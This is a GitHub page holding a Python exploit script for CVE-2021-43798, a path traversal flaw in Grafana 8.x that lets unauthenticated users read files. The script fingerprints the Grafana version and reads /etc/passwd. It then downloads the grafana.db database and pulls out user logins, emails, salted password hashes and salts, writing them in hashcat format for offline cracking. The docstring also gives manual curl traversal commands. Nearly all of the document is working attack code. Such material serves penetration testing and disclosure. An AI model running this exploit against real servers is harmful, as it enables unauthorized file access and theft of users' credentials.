-
Notifications
You must be signed in to change notification settings - Fork 41
/
Copy pathCVE-2021-43798.py
executable file
·158 lines (137 loc) · 7.18 KB
/
CVE-2021-43798.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Exploit Title: Grafana Unauthenticated Local File Inclusion
# Date: 2021-12-08
# Exploit Author: Photubias
# Vendor Homepage: https://grafana.com
# Software Link: https://grafana.com/grafana/download/8.3.0
# Vendor Advisory: [1] https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
# Version: Grafana 8.x prior to 8.3.1, 8.2.7, 8.1.8 & 8.0.7
# Tested on: Grafana 8.3.0, 8.2.1, 8.1.5 (on Debian 11)
# CVE: CVE-2021-43798
r'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-43798.py
written by tijl[dot]deneut[at]howest[dot]be
CVE-2021-43798 is an unauthenticated local file inclusion,
this exploit retrieves the Grafana DB and parses the hashes to be cracked by hashcat
# Manual exploitation examples:
# curl -ik --path-as-is "http://192.168.1.100:3000/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd"
# curl -ik --path-as-is "http://192.168.1.100:3000/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/grafana/grafana.ini"
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
References: https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/grafana/grafana-file-read.yaml
https://github.com/jas502n/Grafana-VulnTips
Features: vulnerability checker + exploit
'''
import sys, urllib.request, ssl, sqlite3, base64, os, datetime
ssl._create_default_https_context = ssl._create_unverified_context
lstPlugins = {'alertlist', 'graph', 'elasticsearch', 'mysql', 'table'}
sTempFile = 'tempgrafanadb_{}.db'.format(datetime.datetime.now().strftime("%Y%m%d-%H%M%S"))
sHashFile = 'hashGrafana_{}.txt'.format(datetime.datetime.now().strftime("%Y%m%d-%H%M%S"))
def getDB(sBase):
for sPlugin in lstPlugins:
try:
oResponse = urllib.request.urlopen('{}public/plugins/{}/../../../../../../../../../../../../../../../../../../../etc/passwd'.format(sBase, sPlugin), timeout = 5)
sPasswd = oResponse.read()
## If this works, we can go for the user DB
oResponse = urllib.request.urlopen('{}public/plugins/{}/../../../../../../../../../../../../../../../../../../../var/lib/grafana/grafana.db'.format(sBase, sPlugin), timeout = 5)
bGrafanaDB = oResponse.read()
open(sTempFile,'wb').write(bGrafanaDB)
return bGrafanaDB
except: continue
return None
def isVulnerable(sVersion):
if int(sVersion.split('.')[0]) == 8:
if int(sVersion.split('.')[1]) >= 3:
if int(sVersion.split('.')[2]) >= 1:
print('[-] Version {} is probably patched.'.format(sVersion))
return False
else:
print('[+] Version {} should be vulnerable.'.format(sVersion))
return True
elif int(sVersion.split('.')[1]) >= 2:
if int(sVersion.split('.')[2]) >= 7:
print('[-] Version {} is probably patched.'.format(sVersion))
return False
else:
print('[+] Version {} should be vulnerable.'.format(sVersion))
return True
elif int(sVersion.split('.')[1]) >= 1:
if int(sVersion.split('.')[2]) >= 8:
print('[-] Version {} is probably patched.'.format(sVersion))
return False
else:
print('[+] Version {} should be vulnerable.'.format(sVersion))
return True
elif int(sVersion.split('.')[1]) >= 0:
if int(sVersion.split('.')[2]) >= 7:
print('[-] Version {} is probably patched.'.format(sVersion))
return False
else:
print('[+] Version {} should be vulnerable.'.format(sVersion))
return True
elif int(sVersion.split('.')[0]) > 8:
print('[!] Version {} is probably patched.'.format(sVersion))
return False
else:
print('[!] Version {} is too old to be vulnerable (only 8.x).'.format(sVersion))
return False
def parseDB(sGrafanaDB):
oConn = sqlite3.connect(sGrafanaDB)
oCur = oConn.cursor()
oCur.execute('select login,email,password,salt from user')
lstRows = oCur.fetchall()
print('[+] Success, found {} users.'.format(len(lstRows)))
oFile = open(sHashFile,'a')
for lstUser in lstRows:
print(' Login {} with email {}'.format(lstUser[0], lstUser[1]))
sHash = lstUser[2]
sSalt = lstUser[3]
sLine = '{}:sha256:10000:{}:{}\n'.format(lstUser[0], base64.b64encode(sSalt.encode()).decode(), base64.b64encode(bytes.fromhex(sHash)).decode())
oFile.write(sLine)
oFile.close()
if __name__ == '__main__':
if '-h' in sys.argv or len(sys.argv)<2:
print(
'usage: {} BaseURL\n'
'E.g. {} http://192.168.1.100:3000/grafana\n\n'
'OPSEC safe script to extract user hashes from a Grafana 8.x installation'.format(sys.argv[0], sys.argv[0]))
sys.exit(0)
sBase = sys.argv[1]
if not sBase[-1] == '/': sBase += '/'
print('[!] Verifying URL {}login'.format(sBase))
oRequest = urllib.request.Request('{}login'.format(sBase))
#oRequest.set_proxy('127.0.0.1:8080', 'http')
try: oResponse = urllib.request.urlopen(oRequest, timeout = 5)
except: sys.exit('[-] Error: {} is not responding'.format(sBase))
bResponse = oResponse.read()
if not b'buildInfo' in bResponse: sys.exit('[-] Error: {} is not a (recent) Grafana installation.'.format(sBase))
print('[+] Grafana found, detecting version')
try:
bCurversion = bResponse.split(b'buildInfo":{')[1].split(b'}')[0].split(b'version":"')[1].split(b'"')[0]
bLatestversion = bResponse.split(b'buildInfo":{')[1].split(b'}')[0].split(b'latestVersion":"')[1].split(b'"')[0]
#print('[+] Success, found version {} (newest version {})'.format(bCurversion.decode(), bLatestversion.decode()))
print('[+] Success, found version {}'.format(bCurversion.decode()))
if not isVulnerable(bCurversion.decode()): print('[!] Proceeding anyway')
except:
print('[-] Version not found')
print('-'*20)
bGrafanaDB = getDB(sBase)
if bGrafanaDB:
parseDB(sTempFile)
os.remove(sTempFile)
print('\n[+] All done, saved {}'.format(sHashFile))
print(' Next step: "hashcat -m 10900 {} wordlist.txt --username"'.format(sHashFile))
else: print('[-] Exploit failed')